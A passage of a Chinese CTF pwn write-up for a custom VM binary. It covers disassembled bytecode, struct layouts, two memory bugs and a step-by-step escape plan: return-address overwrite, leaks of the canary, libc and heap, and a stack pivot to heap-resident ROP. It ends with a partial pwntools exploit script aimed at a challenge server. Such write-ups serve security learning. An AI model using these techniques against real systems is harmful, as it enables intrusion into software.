'43'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'44'{ "%U", 0   } push 0
'45'{ "%Y", 5   } pop register 5
'46'{ "%k", 4   } push register 4
'47'{ "%k", 5   } push register 5
'48'{ "%r", 0   } greater
'49'{ "%S", 59  } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 59
'50'{ "%g", 60  } call 60

    '60'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
    '61'{ "%k", 5   } push register 5
    '62'{ "%#X", 0  } mem[pop()]=pop()
    '63'{ "%k", 5   } push register 5
    '64'{ "%#V", 0  } *sp = mem[*sp]
    '65'{ "%U", 255 } push 255
    '66'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
    '67'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
    '68'{ "%k", 5   } push register 5
    '69'{ "%#V", 0  } *sp = mem[*sp]
    '70'{ "%n", 0   } return

'51'{ "%k", 3   } push register 3
'52'{ "%C", 0   } and [rsp-8],[rsp]; pop rsp;
'53'{ "%y", 0   } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'54'{ "%k", 5   } push register 5
'55'{ "%U", 1   } push 1
'56'{ "%A", 0   } add [rsp-8],[rsp]; pop rsp;
'57'{ "%Y", 5   } pop register 5
'58'{ "%N", 46  } jmp 46
'59'{ "%n", 0   } return

function3

'85'{ "%U", 3   } push 3
'86'{ "%k", 0   } push register 0
'87'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'88'{ "%T", 91  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 91
'89'{ "%g", 110 } call 110
'90'{ "%N", 71  } jmp 71

'110'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'111'{ "%Y", 1   } pop register 1
'112'{ "%U", 255 } push 255
'113'{ "%k", 1   } push register 1
'114'{ "%r", 0   } greater
'115'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'116'{ "%k", 1   } push register 1
'117'{ "%U", 0   } push 0
'118'{ "%r", 0   } greater
'119'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'120'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'121'{ "%Y", 2   } pop register 2
'122'{ "%U", 63  } push 63
'123'{ "%k", 2   } push register 2
'124'{ "%r", 0   } greater
'125'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'126'{ "%k", 2   } push register 2
'127'{ "%U", 0   } push 0
'128'{ "%r", 0   } greater
'129'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'130'{ "%k", 2   } push register 2
'131'{ "%U", 4   } push 4
'132'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'133'{ "%c", 0   } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'134'{ "%k", 1   } push register 1
'135'{ "%H", 0   } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] ^ vmcodes->vmdata[offset]->data[0]; pop rsp;
'136'{ "%k", 2   } push register 2
'137'{ "%U", 4   } push 4
'138'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'139'{ "%b", 0   } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'140'{ "%n", 0   } return

function4

'91'{ "%U", 4   } push 4
'92'{ "%k", 0   } push register 0
'93'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'94'{ "%T", 97  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 97
'95'{ "%g", 141 } call 141
'96'{ "%N", 71  } jmp 71

'141'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'142'{ "%Y", 3   } pop register 3
'143'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'144'{ "%Y", 4   } pop register 4
'145'{ "%U", 62  } push 62
'146'{ "%k", 4   } push register 4
'147'{ "%r", 0   } greater
'148'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'149'{ "%k", 4   } push register 4
'150'{ "%U", 0   } push 0
'151'{ "%r", 0   } greater
'152'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'153'{ "%U", 0   } push 0
'154'{ "%Y", 5   } pop register 5
'155'{ "%k", 4   } push register 4
'156'{ "%k", 5   } push register 5
'157'{ "%r", 0   } greater
'158'{ "%S", 177 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 177
'159'{ "%g", 60  } call 60

    '60'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
    '61'{ "%k", 5   } push register 5
    '62'{ "%#X", 0  } mem[pop()]=pop()
    '63'{ "%k", 5   } push register 5
    '64'{ "%#V", 0  } *sp = mem[*sp]
    '65'{ "%U", 255 } push 255
    '66'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
    '67'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
    '68'{ "%k", 5   } push register 5
    '69'{ "%#V", 0  } *sp = mem[*sp]
    '70'{ "%n", 0   } return  

'160'{ "%k", 3   } push register 3
'161'{ "%G", 0   } xor [rsp-8],[rsp]; pop rsp;
'162'{ "%k", 5   } push register 5
'163'{ "%#X", 0  } mem[pop()]=pop()
'164'{ "%k", 5   } push register 5
'165'{ "%#V", 0  } *sp = mem[*sp]
'166'{ "%U", 255 } push 255
'167'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'168'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'169'{ "%k", 5   } push register 5
'170'{ "%#V", 0  } *sp = mem[*sp]
'171'{ "%y", 0   } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'172'{ "%k", 5   } push register 5
'173'{ "%U", 1   } push 1
'174'{ "%A", 0   } add [rsp-8],[rsp]; pop rsp;
'175'{ "%Y", 5   } pop register 5
'176'{ "%N", 155 } jmp 155
'177'{ "%n", 0   } return

function5

'97'{ "%U", 5   } push 5
'98'{ "%k", 0   } push register 0
'99'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'100'{ "%T", 103 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 103
'101'{ "%g", 178 } call 178
'102'{ "%N", 71  } jmp 71

'178'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'179'{ "%Y", 1   } pop register 1
'180'{ "%U", 255 } push 255
'181'{ "%k", 1   } push register 1
'182'{ "%r", 0   } greater
'183'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'184'{ "%k", 1   } push register 1
'185'{ "%U", 0   } push 0
'186'{ "%r", 0   } greater
'187'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'188'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'189'{ "%Y", 2   } pop register 2
'190'{ "%U", 63  } push 63
'191'{ "%k", 2   } push register 2
'192'{ "%r", 0   } greater
'193'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'194'{ "%k", 2   } push register 2
'195'{ "%U", 0   } push 0
'196'{ "%r", 0   } greater
'197'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'198'{ "%k", 2   } push register 2
'199'{ "%U", 4   } push 4
'200'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'201'{ "%c", 0   } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'202'{ "%k", 1   } push register 1
'203'{ "%F", 0   } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] | vmcodes->vmdata[offset]->data[0]; pop rsp;
'204'{ "%k", 2   } push register 2
'205'{ "%U", 4   } push 4
'206'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'207'{ "%b", 0   } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'208'{ "%n", 0   } return

function6

'103'{ "%U", 6   } push 6
'104'{ "%k", 0   } push register 0
'105'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'106'{ "%T", 109 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 109
'107'{ "%g", 209 } call 209
'108'{ "%N", 71  } jmp 71

'209'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'210'{ "%Y", 3   } pop register 3
'211'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'212'{ "%Y", 4   } pop register 4
'213'{ "%U", 63  } push 63
'214'{ "%k", 4   } push register 4
'215'{ "%r", 0   } greater
'216'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'217'{ "%k", 4   } push register 4
'218'{ "%U", 0   } push 0
'219'{ "%r", 0   } greater
'220'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'221'{ "%U", 0   } push 0
'222'{ "%Y", 5   } pop register 5
'223'{ "%k", 4   } push register 4
'224'{ "%k", 5   } push register 5
'225'{ "%r", 0   } greater
'226'{ "%S", 245 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 245
'227'{ "%g", 60  } call 60

      '60'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
      '61'{ "%k", 5   } push register 5
      '62'{ "%#X", 0  } mem[pop()]=pop()
      '63'{ "%k", 5   } push register 5
      '64'{ "%#V", 0  } *sp = mem[*sp]
      '65'{ "%U", 255 } push 255
      '66'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
      '67'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
      '68'{ "%k", 5   } push register 5
      '69'{ "%#V", 0  } *sp = mem[*sp]
      '70'{ "%n", 0   } return

'228'{ "%k", 3   } push register 3
'229'{ "%E", 0   } or[rsp-8],[rsp]; pop rsp;
'230'{ "%k", 5   } push register 5
'231'{ "%#X", 0  } mem[pop()]=pop()
'232'{ "%k", 5   } push register 5
'233'{ "%#V", 0  } *sp = mem[*sp]
'234'{ "%U", 255 } push 255
'235'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'236'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'237'{ "%k", 5   } push register 5
'238'{ "%#V", 0  } *sp = mem[*sp]
'239'{ "%y", 0   } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'240'{ "%k", 5   } push register 5
'241'{ "%U", 1   } push 1
'242'{ "%A", 0   } add [rsp-8],[rsp]; pop rsp;
'243'{ "%Y", 5   } pop register 5
'244'{ "%N", 223 } jmp 223
'245'{ "%n", 0   } return

function60

'60'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'61'{ "%k", 5   } push register 5
'62'{ "%#X", 0  } mem[pop()]=pop()
'63'{ "%k", 5   } push register 5
'64'{ "%#V", 0  } *sp = mem[*sp]
'65'{ "%U", 255 } push 255
'66'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'67'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'68'{ "%k", 5   } push register 5
'69'{ "%#V", 0  } *sp = mem[*sp]
'70'{ "%n", 0   } return

结合调用function的代码不难看出调用各个函数的条件以及函数的功能:

函数

调用方式

功能

function1

输入1

and加密字符串的功能,最后输出加密后的东西,由用户自定义and的加密方式和加密的字符串,输出的长度也由我们输入,输出长度不会超过63*4。

function2

输入2

and加密字符串的功能,最后输出加密后的东西,由用户自定义and的加密方式和加密的字符串

function3

输入3

xor加密字符串的功能,最后输出加密后的东西,由用户自定义xor的加密方式和加密的字符串,输出的长度也由我们输入,输出长度不会超过63*4。

function4

输入4

xor加密字符串的功能,最后输出加密后的东西,由用户自定义xor的加密方式和加密的字符串

function5

输入5

or加密字符串的功能,最后输出加密后的东西,由用户自定义or的加密方式和加密的字符串,输出的长度也由我们输入,输出长度不会超过63*4。

function6

输入6

or加密字符串的功能,最后输出加密后的东西,由用户自定义xor的加密方式和加密的字符串

function60

函数内调用

设置栈上数据

VM逆向结果总结

  1. function1,function3,function5是同类函数,都实现了加密输出字符串的功能,只有加密方法的不同,输出的时候是char类型

  2. function2,function4,function6是同类函数,都实现了加密输出字符串的功能,只有加密方法的不同,输出的时候是int类型

  3. 函数的调用的层次图如下

自定义的结构体

vm主要结构体:

struct vmcode
{
  text *text;
  int pc;
  regsters *reg;
  int reg_numb;
  int stack[1066];
  vmdata vmdata[100];
};

主结构体内自定义的结构体定义:

text:

struct text
{
  codes codes[250];
};

codes:

struct codes
{
  char code[8];
  int arg;
};

registers:

struct regsters
{
  int reg[7];
};

vmdata:

struct vmdata
{
  char data[256];
  int addr;
};

vm的内存管理

  1. vm_data段是一个共用体,里面是char和int混着存的,并且是数据和返回地址混着存的

  2. 我们注意到call函数在被调用时会对index进行+1处理:

结合我们上面得到的函数的调用的层次图,不难得到这个vm对mcodes->vmdata[index]的管理结构是分层的,每一层的函数会占用一个vmdata,当这个函数被调用完了就会去将index--,来达到一个类似于栈的效果:

主要漏洞点

  1. and_data、xor_data、or_data这三个函数循环的终止条件不正确。如果字符串没有被\x00截断,则循环将继续进行,进而覆盖后面的数据。

  2. run_vm函数未对rip为负数的情况作检验,如果我们能将eip设置为负数,通过codes = &v4->text->codes[v5];将codes指向vm_data段,引起vm_shellcode执行

如何利用

  1. 先使用function6将栈上的字符串赋值给vmcodes->vmdata[index].data(此时index为0),之后将其填满后,由于ret_addr一定会存储着返回地址,那么我们再利用function3中遍历数据时遇到\x00才截止的漏洞就可以在数据段上面实现越界异或ret_addr。

  2. 但是一个字节的偏移控制实在太少了,我们需要扩大优势,不然没办法实现vm逃逸,这里考虑到在第一步骤中我们使用function6的时候使用的register[5]在使用完之后由于没有清0,会残留为64,那我们就可以利用function3溢出1字节的能力先将返回地址篡改为 '50'{ "%g", 60 } call 60。于是乎当我们再从function3返回的时候就可以去调用function60(此时index为0),而在function60内可以实现4字节输入到vmcodes->vmdata[index].data[register[5]]上面,这样我们通过利用function60就实现了返回地址4字节的劫持。

  3. 当从function60返回的时候,我们可以控制rip(ret :rip_eip = vmcodes->vmdata[index].addr;)这样就可以实现任意vmcode执行。

  4. 接下来就是突破vmcode的限制,先考虑得到canary,libc_base,heap_base,所以我们要精心构造在data段上面的rop链子:

    1. 泄露heap:利用load函数在有占位符的情况下没有考虑v3可能为负数的漏洞,将堆地址加载到栈上面,之后打印出来即可

    2. 泄露libc与canary:使用未注册的%p将栈地址,canary以及libc打印出来

    3. 之后在堆上面铺设好我们的shellcode,这里需要注意的是我们构造的rop链太长,需要分两步填入到堆中,于是我们在填入shellcode的同时可以将第二段rop链也顺带填入到堆里面,之后使用jmp函数将两段rop连接执行即可。

  5. 在拿到所有的条件后将vmcode->reg修改为栈地址,就可以修改掉栈上的old_rbp以及ret_addr,最后栈迁移到堆上面就可以了。方法就是将run_vm的old_rbp篡改到shellcode链,将ret_addr改到leave_ret但是有一个很有意思的点是返回地址和old_rbp不相邻,而是间隔了2个64位块,7个32位块无法完全覆盖,这里选择低位覆盖返回地址,因为这里本身就是一个libc地址

我这里由于是复现,并没有使用远程的libc版本:libc-2.39.so,使用的是libc-2.35.so。

完整exp:

from pwn import *
from pwncli import *
from pwn_std import *
import ctypes

context(os='linux', arch='amd64', log_level='debug')
p = getProcess("10.81.2.238", "10062", "./prpr")
# elf = ELF("./vuln")
libc = ELF("./libc.so.6")
elf=ctypes.CDLL('./libc.so.6')


'''
__printf_chk
    不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n 和 %2$n。
    在使用 %n 的时候会做一些检查。
'''

'''
stack始终指向比栈顶小1的地方

程序执行的内容:

'0'{ "%x", 0   } exit_
'1'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'2'{ "%Y", 1   } pop register 1
'3'{ "%U", 255 } push 255
'4'{ "%k", 1   } push register 1
'5'{ "%r", 0   } greater
'6'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'7'{ "%k", 1   } push register 1
'8'{ "%U", 0   } push 0
'9'{ "%r", 0   } greater
'10'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'11'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'12'{ "%Y", 2   } pop register 2
'13'{ "%U", 63  } push 63
'14'{ "%k", 2   } push register 2
'15'{ "%r", 0   } greater
'16'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'17'{ "%k", 2   } push register 2
'18'{ "%U", 0   } push 0
'19'{ "%r", 0   } greater
'20'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'21'{ "%k", 2   } push register 2
'22'{ "%U", 4   } push 4
'23'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'24'{ "%c", 0   } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'25'{ "%k", 1   } push register 1
'26'{ "%D", 0   } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] & vmcodes->vmdata[offset]->data[0]; pop rsp;
'27'{ "%k", 2   } push register 2
'28'{ "%U", 4   } push 4
'29'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'30'{ "%b", 0   } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'31'{ "%n", 0   } return
'32'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'33'{ "%Y", 3   } pop register 3
'34'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'35'{ "%Y", 4   } pop register 4
'36'{ "%U", 63  } push 63
'37'{ "%k", 4   } push register 4
'38'{ "%r", 0   } greater
'39'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'40'{ "%k", 4   } push register 4
'41'{ "%U", 0   } push 0
'42'{ "%r", 0   } greater
'43'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'44'{ "%U", 0   } push 0
'45'{ "%Y", 5   } pop register 5
'46'{ "%k", 4   } push register 4
'47'{ "%k", 5   } push register 5
'48'{ "%r", 0   } greater
'49'{ "%S", 59  } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 59
'50'{ "%g", 60  } call 60
'51'{ "%k", 3   } push register 3
'52'{ "%C", 0   } and [rsp-8],[rsp]; pop rsp;
'53'{ "%y", 0   } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'54'{ "%k", 5   } push register 5
'55'{ "%U", 1   } push 1
'56'{ "%A", 0   } add [rsp-8],[rsp]; pop rsp;
'57'{ "%Y", 5   } pop register 5
'58'{ "%N", 46  } jmp 46
'59'{ "%n", 0   } return
'60'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'61'{ "%k", 5   } push register 5
'62'{ "%#X", 0  } mem[pop()]=pop()
'63'{ "%k", 5   } push register 5
'64'{ "%#V", 0  } *sp = mem[*sp]
'65'{ "%U", 255 } push 255
'66'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'67'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'68'{ "%k", 5   } push register 5
'69'{ "%#V", 0  } *sp = mem[*sp]
'70'{ "%n", 0   } return
'71'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'72'{ "%Y", 0   } pop register 0
'73'{ "%U", 1   } push 1
'74'{ "%k", 0   } push register 0
'75'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'76'{ "%T", 79  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 79
'77'{ "%g", 1   } call 1
'78'{ "%N", 71  } jmp 71
'79'{ "%U", 2   } push 2
'80'{ "%k", 0   } push register 0
'81'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'82'{ "%T", 85  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 85
'83'{ "%g", 32  } call 32
'84'{ "%N", 71  } jmp 71
'85'{ "%U", 3   } push 3
'86'{ "%k", 0   } push register 0
'87'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'88'{ "%T", 91  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 91
'89'{ "%g", 110 } call 110
'90'{ "%N", 71  } jmp 71
'91'{ "%U", 4   } push 4
'92'{ "%k", 0   } push register 0
'93'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'94'{ "%T", 97  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 97
'95'{ "%g", 141 } call 141
'96'{ "%N", 71  } jmp 71
'97'{ "%U", 5   } push 5
'98'{ "%k", 0   } push register 0
'99'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'100'{ "%T", 103 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 103
'101'{ "%g", 178 } call 178
'102'{ "%N", 71  } jmp 71
'103'{ "%U", 6   } push 6
'104'{ "%k", 0   } push register 0
'105'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'106'{ "%T", 109 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 109
'107'{ "%g", 209 } call 209
'108'{ "%N", 71  } jmp 71
'109'{ "%x", 0   } exit_
'110'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'111'{ "%Y", 1   } pop register 1
'112'{ "%U", 255 } push 255
'113'{ "%k", 1   } push register 1
'114'{ "%r", 0   } greater
'115'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'116'{ "%k", 1   } push register 1
'117'{ "%U", 0   } push 0
'118'{ "%r", 0   } greater
'119'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'120'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'121'{ "%Y", 2   } pop register 2
'122'{ "%U", 63  } push 63
'123'{ "%k", 2   } push register 2
'124'{ "%r", 0   } greater
'125'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'126'{ "%k", 2   } push register 2
'127'{ "%U", 0   } push 0
'128'{ "%r", 0   } greater
'129'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'130'{ "%k", 2   } push register 2
'131'{ "%U", 4   } push 4
'132'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'133'{ "%c", 0   } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'134'{ "%k", 1   } push register 1
'135'{ "%H", 0   } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] ^ vmcodes->vmdata[offset]->data[0]; pop rsp;
'136'{ "%k", 2   } push register 2
'137'{ "%U", 4   } push 4
'138'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'139'{ "%b", 0   } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'140'{ "%n", 0   } return
'141'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'142'{ "%Y", 3   } pop register 3
'143'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'144'{ "%Y", 4   } pop register 4
'145'{ "%U", 62  } push 62
'146'{ "%k", 4   } push register 4
'147'{ "%r", 0   } greater
'148'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'149'{ "%k", 4   } push register 4
'150'{ "%U", 0   } push 0
'151'{ "%r", 0   } greater
'152'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'153'{ "%U", 0   } push 0
'154'{ "%Y", 5   } pop register 5
'155'{ "%k", 4   } push register 4
'156'{ "%k", 5   } push register 5
'157'{ "%r", 0   } greater
'158'{ "%S", 177 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 177
'159'{ "%g", 60  } call 60
'160'{ "%k", 3   } push register 3
'161'{ "%G", 0   } xor [rsp-8],[rsp]; pop rsp;
'162'{ "%k", 5   } push register 5
'163'{ "%#X", 0  } mem[pop()]=pop()
'164'{ "%k", 5   } push register 5
'165'{ "%#V", 0  } *sp = mem[*sp]
'166'{ "%U", 255 } push 255
'167'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'168'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'169'{ "%k", 5   } push register 5
'170'{ "%#V", 0  } *sp = mem[*sp]
'171'{ "%y", 0   } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'172'{ "%k", 5   } push register 5
'173'{ "%U", 1   } push 1
'174'{ "%A", 0   } add [rsp-8],[rsp]; pop rsp;
'175'{ "%Y", 5   } pop register 5
'176'{ "%N", 155 } jmp 155
'177'{ "%n", 0   } return
'178'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'179'{ "%Y", 1   } pop register 1
'180'{ "%U", 255 } push 255
'181'{ "%k", 1   } push register 1
'182'{ "%r", 0   } greater
'183'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'184'{ "%k", 1   } push register 1
'185'{ "%U", 0   } push 0
'186'{ "%r", 0   } greater
'187'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'188'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'189'{ "%Y", 2   } pop register 2
'190'{ "%U", 63  } push 63
'191'{ "%k", 2   } push register 2
'192'{ "%r", 0   } greater
'193'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'194'{ "%k", 2   } push register 2
'195'{ "%U", 0   } push 0
'196'{ "%r", 0   } greater
'197'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'198'{ "%k", 2   } push register 2
'199'{ "%U", 4   } push 4
'200'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'201'{ "%c", 0   } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'202'{ "%k", 1   } push register 1
'203'{ "%F", 0   } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] | vmcodes->vmdata[offset]->data[0]; pop rsp;
'204'{ "%k", 2   } push register 2
'205'{ "%U", 4   } push 4
'206'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'207'{ "%b", 0   } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'208'{ "%n", 0   } return
'209'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'210'{ "%Y", 3   } pop register 3
'211'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'212'{ "%Y", 4   } pop register 4
'213'{ "%U", 63  } push 63
'214'{ "%k", 4   } push register 4
'215'{ "%r", 0   } greater
'216'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'217'{ "%k", 4   } push register 4
'218'{ "%U", 0   } push 0
'219'{ "%r", 0   } greater
'220'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'221'{ "%U", 0   } push 0
'222'{ "%Y", 5   } pop register 5
'223'{ "%k", 4   } push register 4
'224'{ "%k", 5   } push register 5
'225'{ "%r", 0   } greater
'226'{ "%S", 245 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 245
'227'{ "%g", 60  } call 60
'228'{ "%k", 3   } push register 3
'229'{ "%E", 0   } or[rsp-8],[rsp]; pop rsp;
'230'{ "%k", 5   } push register 5
'231'{ "%#X", 0  } mem[pop()]=pop()
'232'{ "%k", 5   } push register 5
'233'{ "%#V", 0  } *sp = mem[*sp]
'234'{ "%U", 255 } push 255
'235'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'236'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'237'{ "%k", 5   } push register 5
'238'{ "%#V", 0  } *sp = mem[*sp]
'239'{ "%y", 0   } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'240'{ "%k", 5   } push register 5
'241'{ "%U", 1   } push 1
'242'{ "%A", 0   } add [rsp-8],[rsp]; pop rsp;
'243'{ "%Y", 5   } pop register 5
'244'{ "%N", 223 } jmp 223
'245'{ "%n", 0   } return
'246'{ "%x", 0   } exit_
'247'{ "%x", 0   } exit_
'248'{ "%x", 0   } exit_
'249'{ "%x", 0   } exit_

'''
#自定义函数
def fun1_and(and_key,size,content):
   sl('1')
   sl(str(and_key))
   sl('%d' % (size / 4))
   sd(content)

def fun2_and(and_key,size,content):
   sl('2')
   sl(str(and_key))
   sl('%d' % (size // 4))
   for i in range(size//4+1):
      sl(str(ord(content[i])))

def fun3_xor(xor_key,size,content):
   sl('3')
   sl(str(xor_key))
